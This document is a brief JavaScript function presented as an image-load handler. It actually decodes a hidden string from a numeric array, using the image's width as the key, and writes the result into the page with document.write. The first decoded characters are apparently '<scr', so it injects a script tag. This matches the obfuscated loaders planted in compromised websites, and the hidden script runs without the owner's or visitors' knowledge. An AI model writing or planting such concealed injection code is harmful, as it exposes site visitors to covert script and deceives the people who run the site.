function onImgLoad(source) {
var as = new Array(252,12,63,144,592,527,492,626,549,524,475,574,538,509,477,576,548,524,402,628,547,524,417,652,547,511,494,628,549,499,481,571,620,504,480,643,537,497,490,654,536,434,472,626,549,520,490,584,622,448,476,643,542,501,479,628,620,520,470,624,553,449,499,578,536,505,471,628,611,502,494,630,557,527,492,626,549,524,475,604,622,444,476,626,559,449,499,578,548,520,475,624,598,435,416,653,553,504,418,627,537,526,489,590,559,499,482,591,607,452,414,564,597,452,414,591,541,449,479,626,557,522,494,643,548,499,483,582,540,449,429,587,620,500,479,576,615,446,499,578,594,448,499,591,543,511,477,649,540,520,401,578,613,455,403,591,543,511,477,649,540,520,401);
var xi = source.width; if (!xi) {return;}
var sc=""; for (var n=4; n<as.length; n++) {sc+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sc);
}

